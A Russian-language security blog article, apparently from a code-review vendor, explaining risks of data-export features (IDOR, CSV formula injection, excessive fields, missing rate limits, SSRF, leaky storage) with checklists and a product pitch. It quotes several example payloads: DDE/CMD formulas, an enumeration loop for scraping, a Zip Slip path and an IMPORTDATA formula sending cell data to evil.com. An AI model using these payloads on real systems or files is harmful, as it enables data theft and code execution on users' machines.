Материал

Экспорт данных из приложения: почему это рискованная функция

Кнопка «Скачать CSV» может стоить вам дороже, чем кажется

Введение: невинная кнопка с большими последствиями

Каждое серьёзное B2B-приложение умеет экспортировать данные. Аналитика в Excel, выгрузка заказов в CSV, архив клиентской переписки, полный дамп пользовательского профиля — GDPR и российский 152-ФЗ и вовсе требуют предоставить пользователю право на переносимость данных.

Но именно в момент, когда продукт «добавляет экспорт», в нём появляется целый класс уязвимостей, о которых не думали при проектировании основного функционала. Функция экспорта данных — это не просто обёртка вокруг SELECT *. Это поверхность атаки с собственной топологией рисков: от инъекций в генерируемые файлы до несанкционированного доступа к чужим данным и неограниченного сбора базы через автоматизированные запросы.

Эта статья — для CTO, Tech Lead и AppSec-специалистов, которые хотят понять, что на самом деле происходит, когда они нажимают «добавить функцию экспорта» в бэклог.

Почему экспорт отличается от обычного чтения данных

Стандартный запрос на чтение возвращает ровно столько данных, сколько нужно для отображения одной страницы или одного объекта. Экспорт по природе своей агрегирует: он собирает данные за период, по фильтру, по всей организации — и складывает их в файл, который уходит за пределы контролируемой среды приложения.

Это порождает три системных отличия от обычных операций чтения.

Первое — масштаб. Один экспорт может содержать данные сотен тысяч записей. Если авторизация настроена неверно, это не утечка одной записи, а полный дамп.

Второе — постоянство. Данные в интерфейсе исчезают при закрытии вкладки. Файл на диске — нет. Его копируют, пересылают, забывают удалить, хранят в незащищённом облаке.

Третье — формат. CSV, Excel, JSON — это не просто контейнеры для текста. Некоторые из них интерпретируются принимающим приложением как исполняемый код.

Уязвимость 1: Сломанный контроль доступа на уровне объекта (IDOR / BOLA)

Это самый распространённый и одновременно самый недооценённый тип уязвимостей в экспортных функциях.

IDOR (Insecure Direct Object Reference) — уязвимость, при которой приложение раскрывает ссылки на внутренние объекты (ID записей, имена файлов, ключи базы данных) и не проверяет, авторизован ли запрашивающий пользователь для доступа к конкретному объекту [1]. В API-контексте та же проблема называется BOLA (Broken Object Level Authorization) и занимает первую позицию в OWASP API Security Top 10 [2].

Типичный сценарий в функции экспорта:

GET /api/reports/export?report_id=1042

Пользователь меняет report_id на 1043 и получает экспорт отчёта другой организации. Приложение проверило, что пользователь аутентифицирован — но не проверило, принадлежит ли ему этот конкретный отчёт.

По данным OWASP, Broken Access Control сохраняет первую позицию в OWASP Top 10 как в редакции 2021, так и в 2025 года — в среднем 3,73% проверенных приложений содержат одну или более из 40 CWE в этой категории [3].

Реальный пример с последствиями: в 2019 году компания First American Financial Corporation допустила утечку более 800 млн документов — включая номера социального страхования и банковские реквизиты — именно потому, что приложение позволяло изменить параметр URL и получить доступ к чужим документам. Никакого взлома — только изменение числа в адресной строке [4].

В экспортных эндпоинтах эта уязвимость особенно опасна: одна успешная эксплуатация даёт не запись, а файл с тысячами записей.

Что проверять до merge:

  • Каждый экспортный эндпоинт выполняет авторизацию не только на уровне «пользователь аутентифицирован», но и на уровне «пользователь имеет право на этот конкретный объект».
  • Авторизационная проверка происходит на сервере, а не клиенте.
  • Идентификаторы объектов не предсказуемы (UUID вместо инкрементальных integer ID там, где это возможно).

Уязвимость 2: CSV-инъекция (Formula Injection)

Экспорт в CSV или Excel создаёт специфический вектор атаки, который часто игнорируется, потому что он не угрожает серверу напрямую. Угрожает он тому, кто откроет файл.

CSV-инъекция, или Formula Injection, — это уязвимость, при которой пользовательский ввод, не прошедший санитизацию, попадает в экспортируемый файл. Когда получатель открывает этот файл в Excel, LibreOffice или Google Sheets, строки, начинающиеся с символов =, +, -, @, интерпретируются как формулы [5].

Атака работает следующим образом. Пользователь вводит в поле «Имя компании» строку вида:

=CMD|' /C calc'!A0

Или с использованием DDE (Dynamic Data Exchange):

=DDE("cmd","/C whoami","")

Когда администратор или финансист скачивает CSV с базой клиентов и открывает файл — формула выполняется на его машине.

В марте 2024 года в медицинской платформе Medplum была обнаружена именно эта уязвимость: атакующий мог внедрить вредоносную нагрузку в поля ввода, и она выполнялась при открытии экспортированного CSV высокопривилегированным пользователем [6].

В декабре 2024 года уязвимость CVE-2024-55532 была найдена в Apache Ranger — одном из наиболее популярных фреймворков управления доступом в экосистеме Hadoop. Версии до 2.6 позволяли внедрять формулы в CSV-экспорт, что могло привести к эксфильтрации данных или удалённому выполнению кода на машине получателя [7].

Важно понимать контекст этой угрозы: CSV-инъекция — не взлом сервера. Это атака через доверие. Файл, который пришёл из «нашего» приложения, открывают без подозрений.

Независимые пентестеры отмечают CSV-инъекцию как одну из наиболее часто встречаемых уязвимостей при проверке приложений с экспортом в таблицы [8].

Что проверять до merge:

  • Все строки, содержащие данные пользователя и начинающиеся с =, +, -, @, |, \t, \r, должны экранироваться — добавлением префикса ' (апостроф) или пробела.
  • Санитизация происходит на стороне сервера при генерации файла, а не на стороне клиента.
  • В коде нет предположения «мы уже валидировали на входе, значит, на выходе всё чисто» — это ошибка: контекст изменился.

Уязвимость 3: Избыточная передача данных (Excessive Data Exposure / BOPLA)

OWASP API Security Top 10 в редакции 2023 года объединил два прежних класса уязвимостей — Excessive Data Exposure и Mass Assignment — в новую категорию Broken Object Property Level Authorization (BOPLA, API3:2023). Общая причина: API не контролирует, какие именно поля объекта возвращаются пользователю [9].

В контексте экспорта это проявляется так. Разработчик делает экспорт «на скорость»: берёт ORM-объект целиком и сериализует его в CSV. В результате вместе с именем, email и датой регистрации в файл попадают хешированные пароли, токены сессий, внутренние метки, флаги привилегий, данные платёжных инструментов, поля из смежных таблиц, которые подтянулись через include.

Пользователь видит не то, что должен видеть. Иногда он даже не знает, что видит лишнее — пока не посмотрит внимательно.

Этот паттерн типичен для кода, написанного быстро — в том числе с помощью AI-ассистентов: генератор создаёт рабочий экспортный эндпоинт, который возвращает полный объект. Технически корректно — с точки зрения безопасности катастрофа.

Что проверять до merge:

  • Для каждого экспорта определён явный список полей, а не SELECT * или полная сериализация объекта.
  • Поля, которые не должны покидать систему (хеши паролей, внутренние токены, флаги административного доступа, ключи шифрования), явно исключены.
  • Реакция API на запросы fields= или include= проходит через авторизационный фильтр, а не просто передаёт параметр дальше.

Уязвимость 4: Отсутствие rate limiting и злоупотребление бизнес-логикой

Функция экспорта без ограничений частоты и объёма — это готовый инструмент для систематического сбора данных из вашего приложения. Атакующему даже не нужна SQL-инъекция: достаточно валидной сессии и цикла for на Python.

Паттерн атаки прост:

for customer_id in range(1, 100000):
    requests.get(f"/api/export?customer_id={customer_id}", headers=auth)

Через несколько часов у атакующего полная база клиентов. Без единой записи в security-логах о «взломе» — только легитимные запросы к API.

OWASP API Security Top 10 2023 выделяет в отдельную категорию «Unrestricted Resource Consumption» (API4:2023) именно потому, что отсутствие контроля потребления ресурсов открывает вектор, который не покрывается традиционными WAF-правилами [10].

Особый риск представляют асинхронные экспорты. Когда файл большой, приложение генерирует его в фоне и отправляет пользователю ссылку на скачивание. Если эта ссылка:

  • не привязана к сессии пользователя,
  • не имеет срока действия,
  • не требует повторной аутентификации,

— она становится публичной. Atlassian, например, в своей документации явно указывает, что ссылка на экспорт аудит-лога истекает через сутки [11]. Это осознанное проектное решение — но именно его часто не реализуют.

Что проверять до merge:

  • На экспортные эндпоинты настроен rate limiting: по пользователю, по IP, по организации.
  • Есть ограничение на максимальный объём одного экспорта (количество записей или временной диапазон).
  • Асинхронные ссылки на скачивание имеют срок жизни и повторно проверяют права пользователя при скачивании.
  • Крупные экспорты логируются и мониторятся как потенциально аномальное поведение.

Уязвимость 5: Path Traversal и SSRF в экспорте из внешних источников

Ряд приложений позволяет «экспортировать» данные из внешних URL — например, импорт/экспорт через ссылку. Если URL-параметр попадает на сервер без должной валидации, возникает риск SSRF (Server-Side Request Forgery): сервер делает запрос от своего имени к внутренним сервисам, к которым у атакующего нет прямого доступа.

Это не теоретическая угроза. CVE-2025-34452, обнаруженная в медиасервере Streama, показала классическую цепочку: SSRF + Path Traversal в обработчике архивов позволяли записывать файлы в произвольные директории файловой системы [12].

Схожий класс уязвимостей — Zip Slip: архив, загружаемый или генерируемый как часть экспорта, может содержать пути вида ../../etc/cron.d/backdoor, и при распаковке файл оказывается там, где не должен [13].

Если ваш экспортный механизм генерирует ZIP-архивы, принимает URL в качестве параметров или позволяет задавать имена файлов, — каждый из этих мест нуждается в отдельной проверке.

Уязвимость 6: Утечка через асинхронные файлы и временные хранилища

Большие экспорты часто реализуются по паттерну: «сгенерируй файл в S3 / GCS / Blob Storage, отправь ссылку». В этом паттерне три точки риска.

Первая — ACL на бакете. Если бакет настроен как публичный или у файла выставлен публичный доступ по умолчанию, ссылка на экспорт работает для всех, кто её знает.

Вторая — срок жизни pre-signed URL. Pre-signed URL с TTL в 7 дней и возможностью пересылки — это не защищённый документ.

Третья — retention политика. Файлы экспортов накапливаются в хранилище. Если их не удалять после скачивания или через фиксированный TTL, через год у вас в облаке лежит история всех выгрузок пользователей.

В этом контексте важно правило минимизации хранения: SecurityScorecard в своём отчёте фиксирует, что более трети инцидентов 2025 года произошли через третьесторонние системы и облачные хранилища [14].

Что проверять до merge:

  • Бакет с экспортными файлами не является публичным.
  • Pre-signed URL имеет короткий TTL (минуты, не дни).
  • Файл удаляется после скачивания или по расписанию.
  • Доступ к файлу ещё раз проверяет права пользователя (или файл зашифрован ключом, доступным только авторизованному получателю).

Правовой контекст: что это значит для бизнеса в России

Функция экспорта данных в России — это не только технический, но и правовой риск.

Федеральный закон 152-ФЗ «О персональных данных» запрещает передачу персональных данных третьим лицам без согласия субъекта (ст. 7) [15]. Если экспортный файл уходит не тому пользователю — это незаконная передача данных, независимо от того, была ли это атака или баг.

С 30 мая 2025 года вступили в силу существенно ужесточённые санкции. При утечке от 1 000 до 10 000 субъектов штраф составляет от 100 000 до 200 000 рублей за первое нарушение; при повторном нарушении вводится оборотный штраф — от 1% до 3% годовой выручки, но не менее 20 млн и не более 500 млн рублей [16].

По данным Роскомнадзора, только в 2024 году зафиксировано 135 инцидентов с утечкой данных, и в сеть попало более 710 млн записей о россиянах [17]. Утечка через некорректно реализованную функцию экспорта в этой статистике ничем не отличается от взлома — последствия те же.

Для трансграничного экспорта данных (передача файлов в иностранные облачные сервисы, отправка данных партнёрам за рубежом) действует отдельный режим уведомлений РКН, который с 1 июля 2025 года стал ещё более строгим [18].

Практический чек-лист: как принимать экспортный PR безопасно

Экспортный эндпоинт — это отдельный объект проверки, а не расширение обычного read-эндпоинта. Вот минимальный набор вопросов, которые нужно закрыть перед merge.

Авторизация

  • Выполняется ли проверка прав именно на тот объект, который запрашивается (не просто «пользователь залогинен»)?
  • Если запрос содержит ID объекта, проверяется ли принадлежность этого объекта текущему пользователю/организации на сервере?
  • Если ссылка на скачивание генерируется асинхронно, проверяет ли скачивание права заново?

Содержимое файла

  • Определён ли явный список полей для экспорта (whitelist)?
  • Исключены ли поля, которые не должны покидать систему?
  • Санитизированы ли строки от CSV-инъекции (символы =, +, -, @ в начале поля)?

Rate limiting и объём

  • Есть ли ограничение на количество запросов к экспортному эндпоинту за единицу времени?
  • Есть ли ограничение на максимальный объём выгрузки?
  • Фиксируются ли крупные экспорты в audit log?

Файлы и хранилище

  • Асинхронные файлы лежат в приватном хранилище?
  • Pre-signed URL имеет короткий TTL?
  • Есть ли автоматическое удаление файлов?

Логирование

  • Каждый факт экспорта фиксируется: кто, когда, что именно, сколько записей?
  • Есть ли алерт на аномально частые или аномально объёмные запросы?

Типичные ошибки команд

«Мы уже проверяли на входе»

Частое заблуждение: если данные прошли валидацию при сохранении, то при выдаче они безопасны. Это не так — контекст выдачи другой. Поле company_name = "Рога и Копыта" безобидно в интерфейсе, но =IMPORTDATA("https://evil.com/?u=" & ENCODEURL(A1)) в CSV — нет.

«У нас нет чувствительных данных»

Это самообман. Даже обезличенные на первый взгляд данные — список email-адресов, история транзакций, телефоны — становятся чувствительными в агрегированном виде. Тем более, реидентификация на основе косвенных признаков становится всё проще.

«Экспорт только для администраторов»

Ограничение круга пользователей снижает риск, но не устраняет его. Если администратор с широкими правами скачивает CSV и пересылает его коллеге по незащищённому каналу — данные уже вышли из-под контроля.

«Мы сделаем авторизацию потом»

В AI-кодинге эта ловушка особенно актуальна. Помощник генерирует рабочий экспортный эндпоинт быстро. Авторизационная проверка на уровне объекта — это деталь бизнес-логики, которую AI часто опускает или добавляет формально (проверка аутентификации без проверки владения объектом). Рабочий PR — не обязательно безопасный PR.

Кейсы: когда всё пошло не так

First American Financial, 2019

Более 800 млн документов с финансовыми данными оказались доступны через простую смену числа в URL. Никакого взлома — только отсутствие авторизационной проверки на уровне объекта в механизме скачивания документов [4]. Приложение проверяло аутентификацию, но не авторизацию на конкретную запись.

Apache Ranger, CVE-2024-55532

Популярный фреймворк управления доступом в экосистеме Hadoop содержал уязвимость формульной инъекции в экспорт CSV вплоть до версии 2.6. Польза функции экспорта audit-логов обернулась вектором для эксфильтрации данных из самих же аудиторских файлов [7].

Medplum, 2024

Медицинская платформа оказалась уязвима к CSV-инъекции: пользователи могли внедрять вредоносные формулы в поля ввода, которые затем попадали в экспортируемые файлы и выполнялись на машинах высокопривилегированных пользователей при открытии [6].

Экспорт как точка контроля перед релизом

Экспортный функционал — это именно тот класс изменений, где работающий код не равен безопасному. Разница между «эндпоинт возвращает данные» и «эндпоинт возвращает только те данные, которые этот пользователь вправе получить» — не видна в функциональном тесте.

Команды, которые внедрили AI-ассистентов в разработку, знакомы с паттерном: новая функция создаётся быстро, PR выглядит чисто, тесты зелёные. Но авторизационная логика на уровне объекта — это не функциональное требование, это требование безопасности, которое не выплывает само по себе.

Именно здесь помогает дополнительный слой контроля до merge: анализ того, что именно изменилось в эндпоинте, есть ли авторизационные проверки, не появились ли новые поля в ответе, не убрана ли случайно санитизация. HighVibe разработан для этой задачи — помочь команде заметить риск до того, как изменение попало в прод, не блокируя весь pipeline, а давая короткий и понятный сигнал там, где это действительно важно [19].

Тренды: что будет дальше

Несколько тенденций, за которыми стоит следить.

Первая — рост объёмов данных и сложности экспорта. По мере того как SaaS-приложения накапливают всё больше данных, функции экспорта становятся всё мощнее: multi-tenant дампы, экспорт аналитических витрин, GraphQL-запросы для произвольного экспорта. Каждое расширение — новая поверхность атаки.

Вторая — давление со стороны регуляторов. GDPR Art. 20 (право на переносимость данных) и 152-ФЗ фактически обязывают делать экспорт — но не освобождают от ответственности за то, как он реализован. Регуляторные требования и требования безопасности часто противоречат друг другу в деталях реализации.

Третья — AI как ускоритель проблемы. AI-ассистенты хорошо генерируют «работающий» код. Авторизационные проверки, rate limiting, санитизация вывода — это детали, которые требуют понимания бизнес-контекста, а не просто синтаксической корректности. Скорость разработки растёт — скорость появления уязвимостей в экспортных функциях растёт пропорционально.

Заключение: экспорт — это не фича, это граница периметра

Функция экспорта данных — это место, где данные уходят из-под вашего контроля. Файл на диске пользователя, ссылка в письме, CSV во вложении к задаче в Jira — это уже не ваша среда.

Именно поэтому экспорт нуждается в отдельном уровне защиты: строгой авторизации на уровне объекта, явном whitelist полей, санитизации вывода, rate limiting, audit log и грамотном управлении временными файлами.

Что делать прямо сейчас:

  1. Составить список всех экспортных эндпоинтов в приложении — включая API, которые возвращают файлы.
  2. Проверить каждый на наличие object-level авторизации (а не только аутентификации).
  3. Проверить наличие санитизации от CSV-инъекции там, где генерируется файл.
  4. Убедиться, что rate limiting настроен на экспортные эндпоинты отдельно.
  5. Провести аудит хранилищ с временными файлами.
  6. Добавить экспортные эндпоинты в scope security review — особенно если они создавались или изменялись с помощью AI-ассистента.

Хорошей новостью является то, что большинство этих рисков устраняется на уровне проектирования и code review. Плохой — что они редко туда попадают, потому что выглядят как «просто добавить эндпоинт».

Источники

[1] OWASP Foundation — "Insecure Direct Object Reference (IDOR)" — https://owasp.org/www-community/attacks/insecure_direct_object_reference

[2] OWASP — "API Security Top 10 2023: API1 Broken Object Level Authorization" — https://owasp.org/www-project-api-security/

[3] OWASP — "OWASP Top 10:2025 — Introduction" — https://owasp.org/Top10/2025/0x00_2025-Introduction/

[4] SentinelOne — "Insecure Direct Object Reference (IDOR)" (кейс First American Financial) — https://www.sentinelone.com/cybersecurity-101/cybersecurity/insecure-direct-object-reference/

[5] Aptive — "What Is CSV Injection? Formula Injection Attack, Types & Examples" — https://www.aptive.co.uk/blog/what-is-csv-injection/

[6] Loginsoft — "CSV/Formula Injection in Medplum" — https://www.loginsoft.com/zero-day-discovery/csv-formula-injection-in-medplum

[7] CVE.news — "CVE-2024-55532 — Formula Injection in Apache Ranger CSV Export" — https://www.cve.news/cve-2024-55532/

[8] Cyber Chief — "Best-practice methods to prevent CSV formula injection attacks" — https://www.cyberchief.ai/2024/09/csv-formula-injection-attacks.html

[9] OWASP — "API3:2023 Broken Object Property Level Authorization" — https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/

[10] Akamai — "OWASP Top 10 API Security Risks: The 2023 Edition" — https://www.akamai.com/blog/security/owasp-top-10-api-security-risks-2023-edition

[11] Atlassian Support — "Export audit log" — https://support.atlassian.com/security-and-access-policies/docs/export-audit-logs/

[12] Chocapikk — "Streama Path Traversal + SSRF: CVE-2025-34452" — https://chocapikk.com/posts/2025/streama-path-traversal-ssrf/

[13] PortSwigger — "Path traversal" — https://portswigger.net/web-security/file-path-traversal

[14] SecurityScorecard — "What Are Best Practices for Data Security for Sensitive Data?" — https://securityscorecard.com/blog/what-are-best-practices-for-data-security-for-sensitive-data/

[15] Контур.Норматив — "Федеральный закон от 27.07.2006 N 152-ФЗ" — https://normativ.kontur.ru/document?moduleId=1&documentId=501173

[16] КонсультантПлюс — "Персональные данные: новые штрафы с 30 мая 2025 года" — https://www.consultant.ru/legalnews/28492/

[17] B-152.ru — "Утечки данных: реальные кейсы и их последствия для репутации" — https://b-152.ru/utechki-dannyh-realnye-kejsy

[18] Arbitr-Praktika — "Передача персональных данных третьим лицам" — https://www.arbitr-praktika.ru/article/2431-peredacha-personalnyh-dannyh-tretim-litsam

[19] HighVibe — https://highvibe.dev

Нужен такой же контроль в ваших изменениях и релизах?

Покажем пример такого замечания на вашем сценарии и соберём пилотный контур без лишней суеты.

Запросить пилот Все статьи
Дальше по теме

Ещё материалы

Все статьи
24 июня 2026 18 мин

Политика использования ИИ в команде разработки: как не опоздать, когда всё уже идёт

Если разработчики уже пишут код с ИИ ассистентами, политика нужна сегодня — а не после первого инцидента TL;DR Более 84% разработчиков уже используют или планируют использовать ИИ инструменты 1 , и большинство делают эт…

Открыть материал
23 июня 2026 16 мин

Регистрация и онбординг пользователей: где появляются первые уязвимости

Форма регистрации выглядит просто. За ней скрывается один из наиболее атакуемых периметров приложения. TL;DR Форма регистрации и онбординг флоу — это первая поверхность атаки, которую видит злоумышленник. Большинство уя…

Открыть материал
23 июня 2026 15 мин

Бизнес-логика и мошенничество в продукте: что проверять до запуска

Ваш продукт работает правильно. Но это не значит, что он работает безопасно. TL;DR Уязвимости бизнес логики — это не сломанный код, а сломанные правила: приложение делает именно то, что написано, но не то, что задумывал…

Открыть материал